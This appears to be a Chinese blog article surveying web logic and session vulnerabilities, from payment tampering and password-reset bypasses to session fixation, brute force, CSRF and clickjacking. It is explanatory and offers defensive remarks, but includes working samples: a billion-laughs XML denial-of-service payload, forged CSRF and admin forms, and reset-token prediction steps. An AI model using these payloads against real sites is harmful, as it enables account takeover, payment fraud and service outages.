Url中传递SessionID

SessionID是标志用户身份的字段,SessionID决定用户在服务端是张三还是李四或者管理员,如果SessionID直接明文放在URL中或是Cookie中,攻击者可以不费摧毁之力的获取到其他用户的权限。如:

www.abc.com/web/User.jsp?userid=254&... 

假如将sessionID放在url上的userid参数上,并且该参数还是明文表示,那么攻击者只需将其改为1(或其他)就可将自己“变身”为其他用户(甚至管理员,只要猜到管理员的ID)。当然放在cookie中是一样的道理:

sessionid=35;expires-Fri,21-Oct-2018 03:43:20 GMT;httponly;Max-Age=5184000;Path=/ 

在这个cookie中,可以看到油sessionid字段,不难猜出这个就是后台识别身份的标识,而且还是被明文写出,只需遍历这个字段,即可找到管理员,当然也可遍历其他用户搜集隐私信息。

Cookie中的SessionID可破解

有些sessionid被“加密”存放在了cookie中,开发者认为这便安全了,确实,sessionid确实应该加密后放在cookie中,但一定要选择正确的加密方法,比如:

Cookie:userId=MjU= Cookie:userId=8e296a067a37563370ded05f5a3bf3ec 

可以直接看出,第一个只是将sessionid进行base64编码了而已,第二个是一个md5哈希值,虽然看起来复杂一些,但只要被攻击者破解就是危险的。比如常用的会将session加一些时间之类的参数放在一起加密,但这也并不是绝对安全的。

伪造高权限操作数据包

还是老生常谈的问题,开发者的惯性思维,比如一些管理员的功能(添加,删除用户等),是管理员页面中的功能,所以默认是已经登录管理员的前提下才能使用。所以在这里就没有进行二次校验。确实,想访问这个功能确实需要登录管理员在管理员页面操作,但假如攻击者可以伪造某个功能的数据包,那么没有进行操作权限校验的功能就会被利用。比如黑客直接自己构造了一个表单并提交:

<form name="input" action="adminindex.jsp" method="post"> Username: <input type="text" name="username"> Password:<input type="password" name="passwd"> <input type="submit" value="AddUser"> </form> 

黑客自己定义了一个添加用户的表单,并且各参数和真正的表单都一样,如果没有进行权限二次校验,那么添加用户的操作将执行成功。

支付逻辑

支付逻辑漏洞是指系统的支付流程中存在业务逻辑层面的漏洞。支付流程通常为选择商品和数量-选择支付以及配送方式-生成订单-订单支付-完成支付几部分。最常见的支付逻辑漏洞通常是由于服务器端没有对客户端请求数据中的金额,数量,等敏感信息做校验导致的。一般在电子商务网站很容易出现这类漏洞。

金额/折扣修改

任意金额修改是发生在付款之前,修改数据包中的金额参数,导致0.01元购买商品甚至给自己的账户充值(将金额修改为负值)。比如下面某手机购买付款功能,将最后付款的数据包中的onAmount参数和orderAmount参数改为0.01,实现了0.01元购买手机。

Web通用型漏洞简介

Web通用型漏洞简介

可见,如果出现了任意金额修改的漏洞,对商城来说损失是非常严重的。除此之外,折扣修改也是非常危险的。

购买负数

购买负数漏洞的出现和上面修改金额和折扣类似,只是这次是修改了数据包中购买数参数,不同的是,修改购买数如果修改成其他正数没有任何意义,但修改成负数如果一旦被服务器认为“合法”那么就会发生一些魔幻的事情。有时可能会0元购买到商品,有时可能会给账户充值!比如下面的例子购买某商品利用修改负数漏洞成功0元支付:

Web通用型漏洞简介

Web通用型漏洞简介

Web通用型漏洞简介

Web通用型漏洞简介

0元购买实现。除此之外,修改数量可以利用在限量购买的场景下,比如车票等较紧缺资源,如果存在购买数量漏洞的话,那么背黄牛等利用,也会给真正需要的人带来损失:

Web通用型漏洞简介

Web通用型漏洞简介

Web通用型漏洞简介

Web通用型漏洞简介

如上面例子,通过修改购买车票的数量,成功绕过了只能购买1-5张的限制,购买了10张。

请求重放

请求重放漏洞通过在成功购买商品后,重放最后一次的数据包(或倒数第二三次,根据实际情况判断),以达到重复购买但不需要急需付款的效果:

Web通用型漏洞简介

Web通用型漏洞简介

在这个例子中,先充值了5元,和10元两次,之后重放这两个数据包,成功多次充值,但银行只扣了一次钱。

金额溢出

有些支付场景的计算没有对金额的范围或其他数值范围做好的限制,导致攻击者可以构造大数据溢出后台的计算范围, 造成的后果同样比较魔幻。如下面例子:

Web通用型漏洞简介

在购买云主机的带宽处没有做范围限制,填入比较巨大的数值,可见金额确实可笑的1元。并且可以支付和购买:

Web通用型漏洞简介Web通用型漏洞简介

密码找回

密码找回类漏洞又叫做任意用户密码重置,密码重置功能是所有需要用到账号或者身份认证中必不可少的一个功能。而密码重置流程的安全性也直接关系到用户的账号安全和个人信息安全,而密码重置的流程复杂,逻辑紧凑,一环套一环,如果在开发的时候没有做到严谨,认真,在测试的时候没有详细的一步一步测试,那么很有可能给攻击者空子可钻。从而造成的后果是非常严重的。

重置凭证泄露

任意用户密码重置漏洞中的重置凭证泄露是指重置密码需要的凭证(验证码,重置连接)泄露在数据包中,导致攻击者可以通过抓包来获取重置凭证。

Web通用型漏洞简介

通过点击获取验证码来获取发送给邮箱的验证码,并开始抓包,发现数据包中的一个参数很可疑:

HTTP/1.1 200 OK Date: Sun, 14 Jan 2018 15:10:59 GMT Server: nginx Content-Type: text/html; charset=utf-8 Cache-Control: private client: 219.92.145.98 upstream: 192.168.0.213:80 request_filename: /ajax/ajaxAuthentication.aspx x-Via: 1.1 shxian98:0 (Cdn Cache Server V2.0), 1.1 ny57:0 (Cdn Cache Server V2.0) Connection: close Content-Length: 115  {"State":"success","JsonData":[{"VFCode":"934456","SendTime":"120","mark":503ca2d-c4b9-400e-9768-a10d8f45b8b3}]} 

猜测下面数据包中VFCode参数非常可以,怀疑是发送到邮箱的验证码,结果去邮箱查看,证实了怀疑:

Web通用型漏洞简介

也就是说,在这个站点下,根本不需要拥有任意一个账户的邮箱,只需抓包查看,就可以拿到重置密码的凭证。通过枚举可以枚举该站点下注册的账户,通过站点联系人等途径可以发现管理员邮箱后缀甚至直接管理员邮箱,重置密码后就有可能获得后台权限。

凭证接收端可篡改

密码找回逻辑含有用户标识(用户名、用户 ID、cookie)、接收端(手机、邮箱)、凭证(验证码、token)、当前步骤等四个要素,若这几个要素没有完整关联,则可能导致任意密码重置漏洞。若是在接收端和之前的环节没有相扣严禁,就可能造成接收端凭证可篡改的攻击:

Web通用型漏洞简介

上面的例子中在找回密码处默认的是该账户绑定的手机号,但在提交之后数据包中可以看见完整的手机号参数,尝试修改成攻击者自己的手机号,发现可以接受到短信,于是成功重置了别人的密码。

验证码爆破

密码找回需要鉴别用户的合法身份,证明用户就是用户自己,通常有两种做法,一是网站将重置验证码发至用户绑定的邮箱或手机号,用户持重置验证码证明你就是你,二是用户输入密码保护问题对应的答案。其中,验证码、密保答案就是重置密码的重要凭证。有些网站生成四位数字的重置验证码,复杂度较低,[0000, 9999] 也就一万种组合,在如今的计算能力和网络带宽条件下,顺手的工具三五分钟的功夫就能枚举完。如果服务端又未设置验证码的存活有效期、未限制高频访问,那么极易暴破。

凭证可预测

通过邮箱找回密码时,邮件中将出现一个含有 token 的重置 URL,该 token 即为重置凭证。从经验来看,开发人员习惯以时间戳、递增序号、关键字段(如邮箱地址)等三类信息之一作为因子,采用某种加密算法或编码生成 token,攻击者可以基于能收集到的关键字段,用常见加密算法计算一遍,以判断是否可以预测出 token。如下面例子:

Web通用型漏洞简介

Web通用型漏洞简介

从参数名猜测,u 可能为 username、t 为 token,为减少复杂性,测试发现,删掉 u 参数及值也可正常重置密码,所以,可忽略 u 参数,重点关注 t 参数。连续 5 次获取重置链接,从邮件中提取 5 个 t 参数值,仔细观察发现,t 参数值的 5~8位、最后 4 位,按 2 的增量呈现递增变化。可以先触发找回攻击者账号的密码,获取 t 为 52df773f24ac5b651d288d42,然后触发找回 admin 的密码,t 未知,再次触发找回攻击者账号的密码,获取 t 为 52df774d24ac5b651d288d54,根据前面分析得知的变化规律,普通账号的 t 的 5~8 位一定是 [7740, 774c] 间的偶数,后 4 位范围一定在 [8d44, 8d52] 间的偶数。几次枚举便可得有效 t 参数值。

用户混淆

如果服务端对身份的验证不严格,通过cookie混淆不同账号,就可以达到欺骗服务器的效果。

Web通用型漏洞简介

在重置密码功能中,填写完验证码之后抓包,发现cookie中PHPSESSID = dcusc1ahkn4ioqeeav9c6e0bdq、USER_ACCOUNT=yangyangwithgnu、 USER_APPID=1092 这三个参数很可疑,这个请求,用于重置账号 yangyangwithgnu 密码,那么服务端如何知道该重置 yangyangwithgnu 而不是 yangyangwithgnu2、yangyangwithgnu3 呢?刚才说的那三个参数中肯定有一个用于该目的。逐一尝试发现,PHPSESSID 就是它。

之后用攻击者账号 yangyangwithgnu 进入密码找回流程,查收重置验证码、通过校验;然后,输入新密码后提交,拦截中断该请求,暂不发至服务端,这时,PHPSESSID 关联的是 yangyangwithgnu 账号;接着,关闭浏览器的 burp 代理,新开重置流程的首页,在页面中输入普通账号 liuwei 后提交,这时,PHPSESSID 已关联成 liuwei 了;最后,恢复发送之前中断的请求,放至服务端,理论上,可以成功重置 liuwei 的密码。

用上述思路尝试将 liuwei 密码重置为 PenTest1024,前端显示重置成功:

Web通用型漏洞简介

验证码未校验

在面对日常对密码找回功能的攻击中,开发者大部份精力聚焦在是否可存在暴破验证码、是否可以劫持接收验证码的手机号或邮箱、是否可以混淆重置其他账号、是否可以绕过验证步骤、甚至是猜测重置 token 的生成规律等攻击方式上,反而忽略了最容易、最低技术含量的一种方式——服务端未校验重置凭证。换言之,不论你输入的重置验证码或密保答案是否正确,只要请求格式无误,均可成功重置任意账号密码。这大部分是在开发中不经意的小失误造成的。

Web通用型漏洞简介

部分逻辑前端控制

部分逻辑前端控制或者说应答中存在影响后续逻辑的状态参数,密码找回流程一般包括获取短信验证码、校验短信验证码是否有效、设置新密码等三个步骤。在第二步,校验短信验证码是否有效的结果应保存在服务端,某些网站未在服务端保存而是错误地将结果状态值下发客户端,后续又依靠前端 js 判断是否可以进入第三步,那么,更改应答包中的状态值,可重置其他用户的密码。 比如如下在找回密码中的一个返回包:

HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Tue, 20 Mar 2018 08:25:10 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 114  {"message":"成功","data":{"location":"/forgot/renderResetPassword"},"status:"true"} 

假如拦截数据包,将本来“失败”的数据包改为成功,那么就会成功修改其他用户密码。

注册逻辑

注册功能是一个网站或应用的门户,是想使用这个产品的用户经历的第一步,一般情况下,注册功能都是追求简洁,方便,易理解等特性。但如果稍微没有重视安全,或者在注册逻辑中出现了些许纰漏,那么带来的问题是不可小觑的。

任意/无限注册

在注册时也需要身份验证,同一个人(手机,邮箱)只能注册一个账号。假如在这里的身份验证逻辑不严密,那么就会给攻击者任意注册的机会,造成薅羊毛或占用他人手机号(邮箱号)的后果。比如:

Web通用型漏洞简介

Web通用型漏洞简介

攻击者使用自己的手机号接收验证码,但接收验证码之后将手机号修改为其他的手机号,最后提示注册成功,并使用修改的手机号登录成功。

短信炸弹

在注册页面(不只是注册页面,其他功能处出现也有危害,只不过注册页面危害最大)身份验证处,如果发送手机验证码没有次数限制并且没有时间限制,那么攻击者可以利用这个漏洞来对个人手机号进行短信轰炸。只需使用脚本频繁重放发送验证码的数据包,个人手机就会被无数短信吞没。

注册覆盖

注册覆盖是后端判断一个用户是否已经注册的逻辑除了问题造成的。攻击者可以使用自己的凭证(手机验证码)注册已经存在的用户名,但后台处理逻辑有问题的话,就可能覆盖原有用户。或是更新了原有用户的其他信息(手机,密码等)。

Session

Session是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。当程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求例是否已包含了一个session标识-称为session ID ,如果已包含一个session ID这说明以前已经为此客户端创建过session,服务器就按照session ID把这个session检索出来使用(如果检索不到,可能会新建一个),如果客户端请求不包含session ID,则为客户端创建一个session并且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,而一般保存在客户端的cookie中。

Session劫持

Session劫持,又叫会话劫持,这是一种通过获取用户session ID 后,使用该session ID 登录目标账户的攻击方法。此时攻击者实际上是使用了目标账户的有效session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户。

受害者登录目标站点后,会获得站点提供的一个会话标识session id,攻击者通过某种手段(中间人,xss,或木马,嗅探等)获得受害者的session id,之后攻击者通过捕获到的session ID访问站点即可获得目标用户合法身份。归根究底,Session劫持的出现虽然依赖其他漏洞,但假如服务端发现同一个身份的用户换了浏览器/ip后,应要求该用户重新登录,以确认登录者的真实身份。

Web通用型漏洞简介

Session固定

session固定也叫会话固定,是一种诱骗受害者使用攻击者指定的session ID的攻击手段。这是攻击者获取合法会话标识最简单的方式。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目标同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设计的一个有效会话,以此来获得用户的敏感信息。

在某些网站中,对session id没有做刷新机制,也就是说,用户第一次(以游客身份)登录网站时和用户登录后并没有刷新session id,也就是并没有给用户下发新的cookie。只不过用户原有的cookie权限提高了,身份改变了而已。利用这一点,攻击者可以使用钓鱼等方式诱骗用户使用攻击者的cookie登录,用户登录之后,攻击者同时也获得了用户的合法身份。除此之外,在修改密码之后也应该刷新cookie,让用户重新登录。

Web通用型漏洞简介Web通用型漏洞简介

中间件

IIS服务器漏洞

Apache漏洞

Weblogic漏洞

Tomcat漏洞

Nginx漏洞

猜解

暴力破解

暴力破解的原理就是使用攻击者自己的用户名和密码字典,一个一个去枚举,尝试是否能够登录。因为理论上来说,只要字典足够庞大,枚举总是能够成功的!

基于破解方法

彩虹表破解密文

再有些时候,攻击者通过其他途径获得了口令密文,如sql注入获取的哈希值,或是配置文件中泄露的哈希值。往往通过彩虹表的形式来找到明文口令。哈希并不是一种非常安全的加密手段,一定要在此基础上再使用更加安全的加密方法,推荐使用非对称的秘钥加密。

枚举破解口令

枚举破解就是当破解条件允许(没有验证码,没有尝试次数限制)的情况下, 可以使用脚本来进行大字典多线程的破解尝试,基于对应字典的用户名和密码,或猜到用户名只破解密码等。

基于破解内容

密码的爆破

对密码的爆破,是暴力破解中最常见的攻击了,攻击者通常通过一些手段得到目标的用户名(重复注册探测,或登录页提示等)。之后使用大量的弱口令或社工字典对目标进行爆破。

库表的爆破

在sql注入时,往往不知道数据库的具体结构(表名,库名,字段名等),也不像mysql数据库有information_schema这种信息库,所以攻击者往往需要通过暴力破解的方式来“猜测”数据库的表名字段名,但由于数据库开发人员通常遵守一定的命名法则,让这个破解过程并不艰难。

目录的爆破

web根目录下有很多目录,其中有很多敏感目录是普通用户访问不到的,但又没有做具体的访问限制,单单只是”用户不知道“来防止普通用户访问,是不够安全的。因为攻击者手中往往有着大量的敏感路径名字典,通过脚本对一个站点的“隐藏”的url进行扫描并不是难事。有时将备份文件等极度敏感的信息放在网站根目录下,一旦被攻击者发现,相当于自己敞开了大门。

弱口令

弱口令的范围并没有严格的定义,一般来说“容易被别人猜到”的口令,就属于弱口令,但由于暴力破解,社会工程等手段的存在,即使复杂一些的密码,也有可能被攻击者猜到。所以弱口令一直是导致站点被攻击次数非常高一种漏洞。

数据库远程端口弱口令

有些开发者没有关闭数据库的远程连接功能,比如mysql的3306端口远程连接,并且没有修改数据库的默认密码,或数据库密码简单被攻击者猜到。又或者通过其他途径泄露比如sql注入,或是管理员为了方便数据库口令和后台使用同一密码,这样都会导致一系列的风险。一旦数据库被攻击者远程登录,那么面对的可能是直接提权获得服务器权限的后果。

后台弱口令

很多网站的后台并不能从前台直接访问到,所以忽略了对后台登录功能的安全防护,导致一些没有验证码被暴力破解等的情况。也有些管理员没有对后台设置复杂的密码,被攻击者以“admin”这种弱口令登录。

远程连接弱口令

很多管理员会通过远程的方式使用linux的ssh或windows的远程桌面来维护网站,但假如对远程口令的设置不严格,比如使用admin这种简单口令,或是使用一些攻击者可以推断而出的口令都是不安全的,因为攻击者一旦拥有了远程连接的权限,那么可以说所有的防御系统都没有任何抵抗之力了。

社会工程

社会工程学并不能等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为最警惕最小心的人,一样会被高明的社会工程学手段损害利益 。

基于社会工程的钓鱼

针对特定员工的钓鱼攻击,攻击者会实现分析该人员的生活习惯,兴趣爱好,然后针对特定的点进行邮件钓鱼。包含恶意代码的邮件包裹上该人员感兴趣的外衣,除非安全意识很好的员工,否则很容易上当,一旦被点击,那么攻击者可以通过邮件内部的0day漏洞获取到被攻击者的计算机权限。当然除此之外,“登门拜访”也是社会工程师门常用的手段之一。

基于社会工程的口令爆破

在进行暴力破解时除了常见的弱口令,也可以根据人们日常的密码创建习惯来针对性的创建攻击字典。比如姓名缩写+生日,姓名缩写+手机号,等等。或者在尝试爆破公司的口令的时候首先调查这块业务的负责人是谁,根据他个人生成一组字典,再根据公司(名字,一些关键时间等等),或者可以继续向上追溯调查更早些的负责人或这块业务刚刚出现时的相关信息,以此为依据生成字典。

敏感系信息泄露

内部账号密码泄露

内部Url泄露

一些公司内部使用的业务一般都不建议搭建在公网环境中,因为一般内部的系统的防御性(由于需求的原因)不如整天在公网中“厮杀”的对外开放网站防御性强。一旦被攻击者发现,是非常危险的。

配置文件泄露

一般开发者都会遵照某些开发规范,比如web目录的规范,一般的数据库连接文件(conn.java)等的配置文件都会放在如conf/、configure/等目录下,如果被攻击者敏感目录扫描到,并且没有做好访问控制,被攻击者下载,那么攻击者通过远程连接数据库等方式直接提权,造成的后果同样是非常严重的。

robots内含敏感目录

一般网站都会有robots文档,robots文档的访问权限都公开的,但如果在robots文档中写了某些敏感的目录,本意是告诉爬虫“不要去碰”,但如果被攻击者看到,就有种“此处无垠三百两”的意思了。

web应用框架信息泄露

web框架的指纹通常能给攻击者提供一些非常重要的信息,比如框架目前版本中存在的漏洞,对此针对攻击。一般情况下,攻击者用来识别框架指纹都是从HTTP头,cookies结构特征,html源码,还有特殊文件和文件夹等来识别。

备份泄露

网站备份/数据库备份

有些web管理员有将网站备份直接放在根目录下的习惯,并且也没有设置访问权限,导致被攻击者下载,获得了丰富的敏感信息(数据库,数据库连接口令,源码),几乎相当于在互联网中裸奔一样危险。

拒绝服务

DOS

DOS攻击称为拒绝服务攻击,攻击者使用某种方法(使服务器资源耗尽,崩溃,死机,关机等)使服务器停止服务。导致服务器拒绝服务的方法有很多,在之前谈到的漏洞大多数也可以使服务器拒绝服务,只不过对攻击者而言,千辛万苦找到的漏洞只是让服务器挂掉似乎有点“吃力不讨好”,假如是之前提到的漏洞,大部分有比拒绝服务更好的利用价值,那就是获取信息。当然在有些溢出漏洞出现,但攻击者又无法构造有效的攻击poc的时候,也会采取使服务器崩溃的“同归于尽”办法。以之前的xml注入导致拒绝服务为例:

<?xml version="1.0"?>   <!DOCTYPE lolz [   <!ENTITY lol "lol">   <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">   ]>   <lolz>&lol9;</lolz> 

如上面代码,在li19实体中包含10个lo18,lo18实体中包含10个lo17…而最后lo1实体中只是一个简单的字符串”lol”,但这个xml如果注入给服务器,服务器需要处理10^8个“lol”,几乎可以瞬间耗尽服务器的资源,使服务器拒绝服务,当然类似的情况也可能出现在上传文件上传大型压缩文件等情况中。

DDOS

DDOS攻击也称分布式拒绝服务攻击,与上面提到的dos的区别是,ddos攻击中,攻击者通常指挥巨大的网络流量向目标发起“冲锋”。DDOS一般都是一些基于网络协议的攻击方法,比如SYN Flood、ACK Flood、ICMP Flood、UDP Flood、NTP Flood 、SSDP Flood、DNS Flood ,无一例外,攻击者都需要控制着大量“肉鸡”来进行攻击。

欺骗

CSRF

csrf也叫跨站请求伪造,通过在授权用户访问的页面中包含链接或脚本的攻击方法,归根究底属于一种欺骗攻击。假如用户A正在访问某商城(也就是属于登录状态),这时他的好友B向他发送了一个连接并说“这个新闻好有趣哦”,而这个链接的网页是一个在A用户正在浏览的商城上进行转账的form提交的链接,并将此链接作为图片src。假如A用户点击了图片,那么就会神不知鬼不觉得被转账。产生这种攻击的根本原因是由于服务器没有很好的校验数据包的来源(单纯检验http头的referee字段是不够的)。比如正常的修改密码功能表单是这样的:

<form action="/adminindex.jsp?g=User&m=Index&a=usersave" method="POST" enctype="multiipart/form-data"> <input type="password" name="password" /> <input type="hidden" name="button" /> <input type="submit" name="Submit request" /> </form> 

基本就是模拟一个在管理员页面下的修改密码功能,只有一个输入框,点击提交之后就可以修改密码。假如后台没有对提交的“修改密码”数据包的来源做检查,那么攻击者伪造了一个如下的form表单:

<form action="http://1.1.1.1/adminindex.jsp?g=User&m=Index&a=usersave" method="POST" enctype="multiipart/form-data"> <input type="password" name="password" value="abc123" /> <input type="hidden" name="button" value="&#13;" /> <input type="submit" name="Submit request" /> </form> 

将这个表单的输入都变成隐形的,在页面中在配以一些其他的诱导点击的内容,一旦被攻击者点击,那么就神不知鬼不觉的将密码修改成了abc123。

点击劫持

点击劫持的工作原理和csrf很类似,都是诱导用户点击,不过点击劫持来的比csrf更复杂。通常csrf只是构造一个表单诱导用户提交,但点击劫持通常可以完成诱导用户进行好几步的操作。比如将一个页面(比如网上银行)放在一个ifream标签中,然后将标签隐藏,在标签上方放置一个诱导人点击的图片(美女图片等),用户点击图片其实是点击了图片后面隐藏的网站中的按钮(如转账),之后再通过图片的变化诱导用户进行接下来的操作。一步一步神不知鬼不觉得“亲自”将钱转给了攻击者。

Web通用型漏洞简介

重放攻击

重放攻击在之前的支付类漏洞中已经提到,大体思路就是在一些需要“消耗资源”来进行“交易”的业务场景下,在攻击者已经支付了资源后,对最后一个活的服务器提供的“商品”的数据包进行重放。来达到重复获得”商品“的目的。当然,除了这类”交易“场景之外,还出现在攻击者通过其他途径(嗅探,窃听)到的登录数据包进行重放来非法获得合法用户的身份。

内容如有侵犯你的权益,请联系删除

发表评论

电子邮件地址不会被公开。 必填项已用*标注

Go